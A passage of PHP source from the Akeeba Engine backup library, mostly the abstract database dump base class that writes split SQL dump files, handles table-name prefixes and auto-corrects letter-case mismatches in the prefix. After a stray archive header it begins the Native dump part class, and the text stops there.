	/** @var bool Should I process empty prefixes when creating abstracted names? */
	protected $processEmptyPrefix = true;

	/** @var string Absolute path to the temp file */
	protected $tempFile = '';

	/** @var string Relative path of how the file should be saved in the archive */
	protected $saveAsName = '';

	/** @var array Contains the sorted (by dependencies) list of tables/views to backup */
	protected $tables = [];

	// **********************************************************************
	// Protected fields (data handling)
	// **********************************************************************
	/** @var array Contains the configuration data of the tables */
	protected $tables_data = [];

	/** @var array Maps database table names to their abstracted format */
	protected $table_name_map = [];

	/** @var array Contains the dependencies of tables and views (temporary) */
	protected $dependencies = [];

	/** @var mixed The next table or DB entity to back up */
	protected $nextTable;

	/** @var integer The next row of the table to start backing up from */
	protected $nextRange;

	/** @var integer Current table's row count */
	protected $maxRange;

	/** @var bool Use extended INSERTs */
	protected $extendedInserts = false;

	/** @var integer Maximum packet size for extended INSERTs, in bytes */
	protected $packetSize = 0;

	/** @var string Extended INSERT query, while it's being constructed */
	protected $query = '';

	/** @var int Dump part's maximum size */
	protected $partSize = 0;

	/** @var resource Filepointer to the current dump part */
	private $fp = null;

	/**
	 * Should I be using an abstract prefix (#__) for table names?
	 *
	 * @var   bool
	 * @since 9.1.0
	 */
	private $useAbstractPrefix;

	/**
	 * Public constructor.
	 *
	 * @return  void
	 * @since   9.1.0
	 */
	public function __construct()
	{
		$this->useAbstractPrefix =
			Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') !== 'output';

		parent::__construct();
	}


	/**
	 * This method is called when the factory is being serialized and is used to perform necessary cleanup steps.
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		$this->closeFile();
	}

	/**
	 * This method is called when the object is destroyed and is used to perform necessary cleanup steps.
	 */
	public function __destruct()
	{
		$this->closeFile();
	}

	/**
	 * Close any open SQL dump (output) file.
	 */
	public function closeFile()
	{
		if (!is_resource($this->fp))
		{
			return;
		}

		Factory::getLog()->debug("Closing SQL dump file.");

		$this->conditionalFileClose($this->fp);
		$this->fp = null;
	}

	/**
	 * Call a specific stage of the dump engine
	 *
	 * @param   string  $stage
	 *
	 * @throws Exception
	 */
	public function callStage($stage)
	{
		switch ($stage)
		{
			case '_prepare':
				$this->_prepare();
				break;

			case '_run':
				$this->_run();
				break;

			case '_finalize':
				$this->_finalize();
				break;
		}
	}

	public function getPrefix(): string
	{
		return $this->prefix ?: '';
	}

	/**
	 * Find where to store the backup files
	 *
	 * @param $partNumber int The SQL part number, default is 0 (.sql)
	 */
	protected function getBackupFilePaths($partNumber = 0)
	{
		Factory::getLog()->debug(__CLASS__ . " :: Getting temporary file");
		$basename       = substr(self::md5(microtime() . random_bytes(8)), random_int(0, 16), 16);
		$this->tempFile = Factory::getTempFiles()->registerTempFile($basename . '.sql');
		Factory::getLog()->debug(__CLASS__ . " :: Temporary file is {$this->tempFile}");

		// Get the base name of the dump file
		$partNumber = intval($partNumber);
		$baseName   = $this->dumpFile;

		if ($partNumber > 0)
		{
			// The file names are in the format dbname.sql, dbname.s01, dbname.s02, etc
			if (strtolower(substr($baseName, -4)) == '.sql')
			{
				$baseName = substr($baseName, 0, -4) . '.s' . sprintf('%02u', $partNumber);
			}
			else
			{
				$baseName = $baseName . '.s' . sprintf('%02u', $partNumber);
			}
		}

		if (empty($this->installerSettings))
		{
			// Fetch the installer settings
			$this->installerSettings = (object) [
				'installerroot'  => 'installation',
				'sqlroot'        => 'installation/sql',
				'databasesini'   => 1,
				'readme'         => 1,
				'extrainfo'      => 1,
				'password'       => 0,
				'typedtablelist' => 0,
			];
			$config                  = Factory::getConfiguration();
			$installerKey            = $config->get('akeeba.advanced.embedded_installer');
			$installerDescriptors    = Factory::getEngineParamsProvider()->getInstallerList();

			if (array_key_exists($installerKey, $installerDescriptors))
			{
				// The selected installer exists, use it
				$this->installerSettings = (object) $installerDescriptors[$installerKey];
			}
			elseif (array_key_exists('brs', $installerDescriptors))
			{
				// The selected installer doesn't exist, but ANGIE exists; use that instead
				$this->installerSettings = (object) $installerDescriptors['brs'];
			}
		}

		switch (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal'))
		{
			case 'output':
				// The SQL file will be stored uncompressed in the output directory
				$statistics       = Factory::getStatistics();
				$statRecord       = $statistics->getRecord();
				$this->saveAsName = $statRecord['absolute_path'];
				break;

			case 'normal':
				// The SQL file will be stored in the SQL root of the archive, as
				// specified by the particular embedded installer's settings
				$this->saveAsName = $this->installerSettings->sqlroot . '/' . $baseName;
				break;

			case 'short':
				// The SQL file will be stored on archive's root
				$this->saveAsName = $baseName;
				break;
		}

		if ($partNumber > 0)
		{
			Factory::getLog()->debug("AkeebaDomainDBBackup :: Creating new SQL dump part #$partNumber");
		}

		Factory::getLog()->debug("AkeebaDomainDBBackup :: SQL temp file is " . $this->tempFile);
		Factory::getLog()->debug("AkeebaDomainDBBackup :: SQL file location in archive is " . $this->saveAsName);
	}

	/**
	 * Deletes any leftover files from previous backup attempts
	 *
	 */
	protected function removeOldFiles()
	{
		Factory::getLog()->debug("AkeebaDomainDBBackup :: Deleting leftover files, if any");

		if (file_exists($this->tempFile))
		{
			@unlink($this->tempFile);
		}
	}

	/**
	 * Populates the table arrays with the information for the db entities to back up
	 *
	 * @return  void
	 */
	abstract protected function getTablesToBackup(): void;

	/**
	 * Runs a step of the database dump
	 *
	 * @return  void
	 */
	abstract protected function stepDatabaseDump(): void;

	/**
	 * Return the current database name by querying the database connection object (e.g. SELECT DATABASE() in MySQL)
	 *
	 * @return  string
	 */
	abstract protected function getDatabaseNameFromConnection(): string;

	abstract protected function getAllTables(): array;

	/**
	 * Implements the _prepare abstract method
	 *
	 * @throws Exception
	 */
	protected function _prepare()
	{
		$this->setStep('Initialization');
		$this->setSubstep('');

		// Process parameters, passed to us using the setup() public method
		Factory::getLog()->debug(__CLASS__ . " :: Processing parameters");

		if (is_array($this->_parametersArray))
		{
			$this->parametersArrayToProperties();
		}

		// Try to detect and rectify the wrong database table naming prefix
		$this->workaroundWrongPrefix();

		// Make sure we have self-assigned the first part
		$this->partNumber = 0;

		// Get DB backup only mode
		$configuration = Factory::getConfiguration();

		// Find tables to be included and put them in the $_tables variable
		$this->getTablesToBackup();

		// Find where to store the database backup files
		$this->getBackupFilePaths($this->partNumber);

		// Remove any leftovers
		$this->removeOldFiles();

		// Initialize the extended INSERTs feature
		$this->extendedInserts = ($configuration->get('engine.dump.common.extended_inserts', 0) != 0);
		$this->packetSize      = (int) $configuration->get('engine.dump.common.packet_size', 0);

		if ($this->packetSize == 0)
		{
			$this->extendedInserts = false;
		}

		// Initialize the split dump feature
		$this->partSize = $configuration->get('engine.dump.common.splitsize', 1048576);
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'output')
		{
			$this->partSize = 0;
		}
		if (($this->partSize != 0) && ($this->packetSize != 0) && ($this->packetSize > $this->partSize))
		{
			$this->packetSize = floor($this->partSize / 2);
		}

		// Initialize the algorithm
		Factory::getLog()->debug(__CLASS__ . " :: Initializing algorithm for first run");
		$this->goToNextTable();

		// If there is no table to back up we are done with the database backup
		if ($this->nextTable === null)
		{
			$this->setState(self::STATE_POSTRUN);

			return;
		}

		$this->nextRange = 0;
		$this->query     = '';

		// FIX 2.2: First table of extra databases was not being written to disk.
		// This deserved a place in the Bug Fix Hall Of Fame. In subsequent calls to _init, the $fp in
		// _writeline() was not nullified. Therefore, the first dump chunk (that is, the first table's
		// definition and first chunk of its data) were not written to disk. This call causes $fp to be
		// nullified, causing it to be recreated, pointing to the correct file.
		$null = null;
		$this->writeline($null);

		// Finally, mark ourselves "prepared".
		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Get the next table to back up.
	 *
	 * Engines can override it to queue up more complex objects. Set $this->nextTable to NULL to indicate there is
	 * nothing else to back up.
	 *
	 * @return  void
	 * @since   9.10.0
	 */
	protected function goToNextTable(): void
	{
		$this->nextTable = null;

		if (empty($this->tables))
		{
			return;
		}

		$this->nextTable = array_shift($this->tables);
	}

	/**
	 * Implements the _run() abstract method
	 *
	 * @throws Exception
	 */
	protected function _run()
	{
		// Check if we are already done
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep("");
			$this->setSubstep("");

			return;
		}

		// Mark ourselves as still running (we will test if we actually do towards the end ;) )
		$this->setState(self::STATE_RUNNING);

		/**
		 * Resume packing / post-processing part files if necessary.
		 *
		 * @see \Akeeba\Engine\Archiver\BaseArchiver::putDataFromFileIntoArchive
		 *
		 * Sometimes the SQL part file may be bigger than the big file threshold (engine.archiver.common.
		 * big_file_threshold). In this case when we try to add it to the backup archive the archiver engine figures
		 * out it has to be added uncompressed, one chunk (engine.archiver.common.chunk_size) bytes at a time. This
		 * happens in a loop. We read a chunk, push it to the archive, rinse and repeat.
		 *
		 * There are two cases when we might break the loop:
		 *
		 * 1. Not enough free space in the backup archive part and engine.postproc.common.after_part (immediate post-
		 *    processing) is enabled. We break the step to let the backup part be post-processed.
		 *
		 * 2. We ran out of time copying data.
		 *
		 * The following if-blocks deal with these two cases.
		 */
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') != 'output')
		{
			$archiver      = Factory::getArchiverEngine();
			$configuration = Factory::getConfiguration();

			// Check whether we need to immediately post-processing a done part
			if (Pack::postProcessDonePartFile($archiver, $configuration))
			{
				return;
			}

			// We had already started putting the DB dump file into the archive but it needs more time
			if ($configuration->get('volatile.engine.archiver.processingfile', false))
			{
				/**
				 * We MUST NOT try to continue adding the file to the backup archive manually. Instead, we have to go
				 * through getNextDumpPart. This method will continue adding the part to the backup archive and when
				 * this is done it will remove the file and create a new one.
				 *
				 * If that method returns false it means that we either hit an error or the archiver didn't have enough
				 * time to add the part to the backup archive. In either case we have to return and let the Engine step.
				 */
				if ($this->getNextDumpPart() === false)
				{
					return;
				}
			}
		}

		$this->stepDatabaseDump();

		$null = null;
		$this->writeline($null);
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 * @throws Exception
	 */
	protected function _finalize()
	{
		Factory::getLog()->debug("Adding any extra SQL statements imposed by the filters");

		foreach (Factory::getFilters()->getExtraSQL($this->databaseRoot) as $sqlStatement)
		{
			$sqlStatement = trim($sqlStatement) . "\n";

			$this->writeDump($sqlStatement, true);
		}

		// We need this to write out the cached extra SQL statements before closing the file.
		$this->writeDump(null, true);

		// Close the file pointer (otherwise the SQL file is left behind)
		$this->closeFile();

		// If we are not just doing a main db only backup, add the SQL file to the archive
		$finished = true;

		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') != 'output')
		{
			$archiver      = Factory::getArchiverEngine();
			$configuration = Factory::getConfiguration();

			if ($configuration->get('volatile.engine.archiver.processingfile', false))
			{
				// We had already started archiving the db file, but it needs more time
				Factory::getLog()->debug("Continuing adding the SQL dump to the archive");
				$archiver->addFile(null, null, null);

				$finished = !$configuration->get('volatile.engine.archiver.processingfile', false);
			}
			else
			{
				// We have to add the dump file to the archive
				Factory::getLog()->debug("Adding the final SQL dump to the archive");
				$archiver->addFileRenamed($this->tempFile, $this->saveAsName);

				$finished = !$configuration->get('volatile.engine.archiver.processingfile', false);
			}
		}
		else
		{
			// We just have to move the dump file to its final destination
			Factory::getLog()->debug("Moving the SQL dump to its final location");
			$result = Platform::getInstance()->move($this->tempFile, $this->saveAsName);

			if (!$result)
			{
				Factory::getLog()->debug("Removing temporary file of final SQL dump");
				Factory::getTempFiles()->unregisterAndDeleteTempFile($this->tempFile, true);

				throw new RuntimeException('Could not move the SQL dump to its final location');
			}
		}

		// Make sure that if the archiver needs more time to process the file we can supply it
		if ($finished)
		{
			Factory::getLog()->debug("Removing temporary file of final SQL dump");
			Factory::getTempFiles()->unregisterAndDeleteTempFile($this->tempFile, true);

			$this->setState(self::STATE_FINISHED);
		}
	}

	/**
	 * Creates a new dump part
	 *
	 * @return bool
	 * @throws Exception
	 */
	protected function getNextDumpPart()
	{
		// On database dump only mode we mustn't create part files!
		if (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'output')
		{
			return false;
		}

		// Is the archiver still processing?
		$configuration   = Factory::getConfiguration();
		$archiver        = Factory::getArchiverEngine();
		$stillProcessing = $configuration->get('volatile.engine.archiver.processingfile', false);

		if ($stillProcessing)
		{
			/**
			 * The archiver is still adding the previous dump part. This means that we are called from the top few lines
			 * of the _run method. We must continue adding the previous dump part.
			 */
			Factory::getLog()->debug("Continuing adding the SQL dump part to the archive");
			$archiver->addFile('', '', '');
		}
		else
		{
			/**
			 * There is no other dump part being processed. Therefore the current SQL dump part is still open. We must
			 * close it and ask the archiver to add it to the backup archive.
			 */
			$this->closeFile();
			Factory::getLog()->debug("Adding the SQL dump part to the archive");
			$archiver->addFileRenamed($this->tempFile, $this->saveAsName);
		}

		// Return false if the file didn't finish getting added to the archive
		if ($configuration->get('volatile.engine.archiver.processingfile', false))
		{
			Factory::getLog()->debug("The SQL dump file has not been processed thoroughly by the archiver. Resuming in the next step.");

			return false;
		}

		/**
		 * If you are here the SQL dump part file is completely added to the backup archive. All we have to do now is
		 * remove it and create a new dump part file.
		 */
		// Remove the old file
		Factory::getLog()->debug("Removing dump part's temporary file");
		Factory::getTempFiles()->unregisterAndDeleteTempFile($this->tempFile, true);

		// Create the new dump part
		$this->partNumber++;
		$this->getBackupFilePaths($this->partNumber);
		$null = null;
		$this->writeline($null);

		return true;
	}

	/**
	 * Creates a new dump part, but only if required to do so
	 *
	 * @return bool
	 * @throws Exception
	 */
	protected function createNewPartIfRequired()
	{
		if ($this->partSize == 0)
		{
			return true;
		}

		$filesize = 0;

		if (@file_exists($this->tempFile))
		{
			$filesize = @filesize($this->tempFile);
		}

		$projectedSize = $filesize + strlen($this->query);

		if ($this->extendedInserts)
		{
			$projectedSize = $filesize + $this->packetSize;
		}

		if ($projectedSize > $this->partSize)
		{
			return $this->getNextDumpPart();
		}

		return true;
	}

	/**
	 * Returns a table's abstract name (replacing the prefix with the magic #__ string)
	 *
	 * @param   string  $tableName  The canonical name, e.g. 'jos_content'
	 *
	 * @return string The abstract name, e.g. '#__content'
	 */
	protected function getAbstract($tableName)
	{
		// Don't return abstract names for non-CMS tables
		if (is_null($this->prefix))
		{
			return $tableName;
		}

		switch ($this->prefix)
		{
			case '':
				if ($this->processEmptyPrefix)
				{
					// This is more of a hack; it assumes all tables are core CMS tables if the prefix is empty.
					return '#__' . $tableName;
				}

				// If $this->processEmptyPrefix (the process_empty_prefix config flag) is false, we don't
				// assume anything.
				return $tableName;

				break;

			default:
				// Normal behaviour for 99% of sites. Start by assuming the table has no prefix, therefore is non-core.
				$tableAbstract = $tableName;

				// If there's a prefix use the abstract name
				if (!empty($this->prefix) && (substr($tableName, 0, strlen($this->prefix)) == $this->prefix))
				{
					$tableAbstract = '#__' . substr($tableName, strlen($this->prefix));
				}

				return $tableAbstract;

				break;
		}
	}

	/**
	 * Writes the SQL dump into the output files. If it fails, it sets the error
	 *
	 * @param   string  $data       Data to write to the dump file. Pass NULL to force flushing to file.
	 * @param   bool    $addMarker  Should I prefix the data with a marker?
	 *
	 * @return  boolean  TRUE on successful write, FALSE otherwise
	 * @throws  Exception
	 */
	protected function writeDump($data, $addMarker = false)
	{
		if (!empty($data))
		{
			if ($addMarker && $this->useAbstractPrefix)
			{
				$this->data_cache .= '/**ABDB**/';
			}
			elseif (!$this->useAbstractPrefix)
			{
				// Replace #__ with the prefix when writing plain .sql files
				$db   = $this->getDB();
				$data = $db->replacePrefix($data) . "\n";
			}

			$this->data_cache .= $data;

			if (strlen($data) > $this->largest_query)
			{
				$this->largest_query = strlen($data);
				Factory::getConfiguration()->set('volatile.database.largest_query', $this->largest_query);
			}
		}

		if ((strlen($this->data_cache) >= $this->cache_size) || (is_null($data) && (!empty($this->data_cache))))
		{
			$this->data_cache = rtrim($this->data_cache, "\n");

			if ($this->useAbstractPrefix && $addMarker && substr($this->data_cache, -10) !== '/**ABDB**/')
			{
				$this->data_cache .= '/**ABDB**/';
			}

			$this->data_cache .= "\n";

			Factory::getLog()->debug("Writing " . strlen($this->data_cache) . " bytes to the dump file");
			$result = $this->writeline($this->data_cache);

			if (!$result)
			{
				$errorMessage = sprintf('Couldn\'t write to the SQL dump file %s; check the temporary directory permissions and make sure you have enough disk space available.', $this->tempFile);
				throw new RuntimeException($errorMessage);
			}

			$this->data_cache = '';
		}

		return true;
	}

	/**
	 * Saves the string in $fileData to the file $backupfile. Returns TRUE. If saving
	 * failed, return value is FALSE.
	 *
	 * @param   string  $fileData  Data to write. Set to null to close the file handle.
	 *
	 * @return boolean TRUE is saving to the file succeeded
	 * @throws Exception
	 */
	protected function writeline(&$fileData)
	{
		if (!is_resource($this->fp))
		{
			$this->fp = @fopen($this->tempFile, 'a');

			if ($this->fp === false)
			{
				throw new RuntimeException('Could not open ' . $this->tempFile . ' for append, in DB dump.');
			}
		}

		if (is_null($fileData))
		{
			$this->conditionalFileClose($this->fp);

			$this->fp = null;

			return true;
		}
		else
		{
			if ($this->fp)
			{
				$ret = fwrite($this->fp, $fileData);
				@clearstatcache();

				// Make sure that all data was written to disk
				return ($ret == strlen($fileData));
			}

			return false;
		}
	}

	/**
	 * Return an instance of DriverBase
	 *
	 * @return DriverBase|bool
	 *
	 * @throws Exception
	 */
	protected function &getDB()
	{
		$ssl     = $this->ssl ?? [];
		$ssl     = is_array($ssl) ? $ssl : [];
		$options = [
			'driver'   => $this->driver,
			'host'     => $this->host,
			'port'     => $this->port,
			'socket'   => $this->socket,
			'user'     => $this->username,
			'password' => $this->password,
			'database' => $this->database,
			'prefix'   => is_null($this->prefix) ? '' : $this->prefix,
			'ssl'      => $ssl,
		];

		$db = Factory::getDatabase($options);

		if ($db->getErrorNum() > 0)
		{
			$error = $db->getErrorMsg();

			throw new RuntimeException(__CLASS__ . ' :: Database Error: ' . $error);
		}

		return $db;
	}

	/**
	 * Returns the database name. If the name was not declared when the object was created we will go through the
	 * getDatabaseNameFromConnection method to populate it.
	 *
	 * @return  string
	 */
	protected function getDatabaseName()
	{
		if (empty($this->database) && $this->database !== '0')
		{
			$this->database = $this->getDatabaseNameFromConnection();
		}

		return $this->database;
	}

	/**
	 * Post process a quoted value before it's written to the database dump.
	 * So far it's only required for SQL Server which has a problem escaping
	 * newline characters...
	 *
	 * @param   string  $value  The quoted value to post-process
	 *
	 * @return  string
	 */
	protected function postProcessQuotedValue($value)
	{
		return $value;
	}

	/**
	 * Returns a preamble for the data dump portion of the SQL backup. This is
	 * used to output commands before the first INSERT INTO statement for a
	 * table when outputting a plain SQL file.
	 *
	 * Practical use: the SET IDENTITY_INSERT sometable ON required for SQL Server
	 *
	 * @param   string   $tableAbstract  Abstract name of the table, e.g. #__foobar
	 * @param   string   $tableName      Real name of the table, e.g. abc_foobar
	 * @param   integer  $maxRange       Row count on this table
	 *
	 * @return  string   The SQL commands you want to be written in the dump file
	 */
	protected function getDataDumpPreamble($tableAbstract, $tableName, $maxRange)
	{
		return '';
	}

	/**
	 * Returns an epilogue for the data dump portion of the SQL backup. This is
	 * used to output commands after the last INSERT INTO statement for a
	 * table when outputting a plain SQL file.
	 *
	 * Practical use: the SET IDENTITY_INSERT sometable OFF required for SQL Server
	 *
	 * @param   string   $tableAbstract  Abstract name of the table, e.g. #__foobar
	 * @param   string   $tableName      Real name of the table, e.g. abc_foobar
	 * @param   integer  $maxRange       Row count on this table
	 *
	 * @return  string   The SQL commands you want to be written in the dump file
	 */
	protected function getDataDumpEpilogue($tableAbstract, $tableName, $maxRange)
	{
		return '';
	}

	/**
	 * Return a list of field names for the INSERT INTO statements. This is only
	 * required for Microsoft SQL Server because without it the SET IDENTITY_INSERT
	 * has no effect.
	 *
	 * @param   array|string  $fieldNames  A list of field names in array format or '*' if it's all fields
	 *
	 * @return  string
	 * @throws Exception
	 */
	protected function getFieldListSQL($fieldNames)
	{
		// If we get a literal '*' we dumped all columns so we don't need to add column names in the INSERT.
		if ($fieldNames === '*')
		{
			return '';
		}

		return '(' . implode(', ', array_map([$this->getDB(), 'qn'], $fieldNames)) . ')';
	}

	/**
	 * Return a list of columns to use in the SELECT query for dumping table data.
	 *
	 * This is used to filter out all generated rows.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  string|array  An array of table columns or the string literal '*' to quickly select all columns.
	 *
	 * @see  https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
	 */
	protected function getSelectColumns($tableAbstract)
	{
		return '*';
	}

	/**
	 * Converts a human formatted size to integer representation of bytes,
	 * e.g. 1M to 1024768
	 *
	 * @param   string  $setting  The value in human readable format, e.g. "1M"
	 *
	 * @return  integer  The value in bytes
	 */
	protected function humanToIntegerBytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower($val[strlen($val) - 1]);

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}

	/**
	 * Get the PHP memory limit in bytes
	 *
	 * @return int|null  Memory limit in bytes or null if we can't figure it out.
	 */
	protected function getMemoryLimit()
	{
		if (!function_exists('ini_get'))
		{
			return null;
		}

		$memLimit = ini_get("memory_limit");

		if ((is_numeric($memLimit) && ($memLimit < 0)) || !is_numeric($memLimit))
		{
			$memLimit = 0; // 1.2a3 -- Rare case with memory_limit < 0, e.g. -1Mb!
		}

		$memLimit = $this->humanToIntegerBytes($memLimit);

		return $memLimit;
	}

	/**
	 * @return void
	 */
	private function parametersArrayToProperties(): void
	{
		$this->driver             = $this->_parametersArray['driver'] ?? $this->driver;
		$this->host               = $this->_parametersArray['host'] ?? $this->host;
		$this->port               = $this->_parametersArray['port'] ?? $this->port;
		$this->socket             = $this->_parametersArray['socket'] ?? $this->socket;
		$this->username           = $this->_parametersArray['username'] ?? $this->username;
		$this->username           = $this->_parametersArray['user'] ?? $this->username;
		$this->password           = $this->_parametersArray['password'] ?? $this->password;
		$this->database           = $this->_parametersArray['database'] ?? $this->database;
		$this->prefix             = $this->_parametersArray['prefix'] ?? $this->prefix;
		$this->dumpFile           = $this->_parametersArray['dumpFile'] ?? $this->dumpFile;
		$this->processEmptyPrefix = $this->_parametersArray['process_empty_prefix'] ?? $this->processEmptyPrefix;
		$this->ssl                = $this->_parametersArray['ssl'] ?? $this->ssl;
		$this->ssl                = is_array($this->ssl) ? $this->ssl : [];

		$this->ssl['enable']             = (bool) (($this->ssl['enable'] ?? $this->_parametersArray['dbencryption'] ?? false) ?: false);
		$this->ssl['cipher']             = ($this->ssl['cipher'] ?? $this->_parametersArray['dbsslcipher'] ?? null) ?: null;
		$this->ssl['ca']                 = ($this->ssl['ca'] ?? $this->_parametersArray['dbsslca'] ?? null) ?: null;
		$this->ssl['capath']             = ($this->ssl['capath'] ?? $this->_parametersArray['dbsslcapath'] ?? null) ?: null;
		$this->ssl['key']                = ($this->ssl['key'] ?? $this->_parametersArray['dbsslkey'] ?? null) ?: null;
		$this->ssl['cert']               = ($this->ssl['cert'] ?? $this->_parametersArray['dbsslcert'] ?? null) ?: null;
		$this->ssl['verify_server_cert'] = (bool) (($this->ssl['verify_server_cert'] ?? $this->_parametersArray['dbsslverifyservercert'] ?? false) ?: false);
	}

	private function workaroundWrongPrefix(): void
	{
		// Let's see what kind of prefix I have
		$allLowerCasePrefix = strtolower($this->prefix);
		$allUpperCasePrefix = strtoupper($this->prefix);
		$isUpperCasePrefix  = $this->prefix === $allUpperCasePrefix;
		$isLowerCasePrefix  = $this->prefix === $allLowerCasePrefix;
		$isMixedCasePrefix  = !$isUpperCasePrefix && !$isLowerCasePrefix;

		// Log a message
		if ($isUpperCasePrefix)
		{
			Factory::getLog()->info(
				sprintf(
					'You have an all uppercase database prefix (%s). This might cause backup and restoration issues. We are applying automatic mitigations.',
					$this->prefix
				)
			);
		}
		elseif (!$isLowerCasePrefix)
		{
			Factory::getLog()->info(
				sprintf(
					'You have a mixed-case database prefix (%s). This might cause backup and restoration issues. We are applying automatic mitigations.',
					$this->prefix
				)
			);
		}

		// Check if I have any tables with any form of the prefix
		$allTables = $this->getAllTables();

		$hasOriginalTables = array_reduce(
			$allTables,
			function (bool $carry, string $table): bool {
				return $carry || substr($table, 0, strlen($this->prefix)) === $this->prefix;
			},
			false
		);

		$hasLowercaseTables = array_reduce(
			$allTables,
			function (bool $carry, string $table) use ($allLowerCasePrefix): bool {
				return $carry || substr($table, 0, strlen($allLowerCasePrefix)) === $allLowerCasePrefix;
			},
			false
		);

		$hasUppercaseTables = array_reduce(
			$allTables,
			function (bool $carry, string $table) use ($allUpperCasePrefix): bool {
				return $carry || substr($table, 0, strlen($allUpperCasePrefix)) === $allUpperCasePrefix;
			},
			false
		);

		$hasWrongMixedCaseTables = array_reduce(
			$allTables,
			function (bool $carry, string $table) use ($allUpperCasePrefix, $allLowerCasePrefix): bool {
				if ($carry)
				{
					return $carry;
				}

				$prefix = substr($table, 0, strlen($allUpperCasePrefix));

				if ($prefix === $allUpperCasePrefix || $prefix === $allLowerCasePrefix || $prefix === $this->prefix)
				{
					return false;
				}

				return strtolower($prefix) === strtolower($this->prefix);
			},
			false
		);

		// Set up the warning message
		$warningMessage = sprintf(
			'You have database tables whose name starts with a form of the database prefix (%s) which has a different letter case. This WILL cause problems if you restore your site on Windows or macOS. We strongly recommend excluding all tables which do not start with the configured prefix, exactly as shown above (case-sensitive).',
			$this->prefix
		);

		/**
		 * We have tables returned with the original prefix (e.g. fOo_).
		 *
		 * We won't change the prefix, but we have to warn the user if there is a mix of prefixes in the installed
		 * tables.
		 *
		 * We warn when:
		 * - Any kind of prefix, there are tables with a mixed case prefix which doesn't match the configured one.
		 * - Lowercase prefix, there are uppercase tables
		 * - Uppercase prefix, there are lowercase tables
		 * - Mixed case prefix, there are upper- or lowercase tables
		 */
		if ($hasOriginalTables)
		{
			if (
				$hasWrongMixedCaseTables
				|| ($isLowerCasePrefix && $hasUppercaseTables)
				|| ($isUpperCasePrefix && $hasLowercaseTables)
				|| ($isMixedCasePrefix && ($hasLowercaseTables || $hasUppercaseTables))
			)
			{
				Factory::getLog()->warning($warningMessage);
			}

			return;
		}

		/**
		 * No tables with this prefix. Nothing for me to do.
		 *
		 * At this point we have checked if there are any tables with the mixed case prefix, the all lowercase prefix,
		 * and the uppercase prefix. None was found in any of these cases.
		 *
		 * I will not change the prefix to back up. However, if there are tables with the wrong mixed case format of the
		 * prefix I will have to issue a warning.
		 */
		if (!$hasLowercaseTables && !$hasUppercaseTables)
		{
			if ($hasWrongMixedCaseTables)
			{
				Factory::getLog()->warning($warningMessage);
			}

			return;
		}

		if (
			($isLowerCasePrefix && !$hasLowercaseTables && $hasUppercaseTables)
			|| ($isMixedCasePrefix && $hasUppercaseTables)
		)
		{
			Factory::getLog()->info(
				sprintf(
					'Auto-fixing the database prefix: you have configured the database table name prefix %s but we could not find any tables with this prefix. Instead, we found tables with the %s prefix; using that instead.',
					$this->prefix, $allUpperCasePrefix
				)
			);

			$this->_parametersArray['prefix'] = $allUpperCasePrefix;
			$this->prefix                     = $allUpperCasePrefix;
		}
		elseif (
			($isUpperCasePrefix && !$hasUppercaseTables && $hasLowercaseTables)
			|| ($isMixedCasePrefix && $hasLowercaseTables)
		)
		{
			Factory::getLog()->info(
				sprintf(
					'Auto-fixing the database prefix: you have configured the database table name prefix %s but we could not find any tables with this prefix. Instead, we found tables with the %s prefix; using that instead.',
					$this->prefix, $allLowerCasePrefix
				)
			);

			$this->_parametersArray['prefix'] = $allLowerCasePrefix;
			$this->prefix                     = $allLowerCasePrefix;
		}
		else
		{
			Factory::getLog()->warning(
				sprintf(
					'WRONG DATABASE PREFIX. You have configured the database table name prefix %s but we could not find any tables with this prefix, its lowercase (%s) or uppercase (%s) form. THIS WILL CAUSE RESTORATION PROBLEMS. Please rename your tables starting with different forms of the %1$s prefix so that they all start with its lowercase form (%2$s), then retake the backup.',
					$this->prefix, $allLowerCasePrefix, $allUpperCasePrefix
				)
			);

			return;
		}

		if ($hasLowercaseTables && $hasUppercaseTables)
		{
			Factory::getLog()->warning($warningMessage);
		}
	}
}
PK     \qۙ    +  vendor/akeeba/engine/engine/Dump/Native.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Dump\Base as DumpBase;
use Akeeba\Engine\Factory;
use RuntimeException;

#[\AllowDynamicProperties]
class Native extends Part
{
	/** @var DumpBase */
	private $_engine = null;

	private $tablePrefix;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Runs the preparation for this part. Should set _isPrepared
	 * to true
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Processing parameters");

		$options = null;

		// Get the DB connection parameters
		if (is_array($this->_parametersArray))
		{
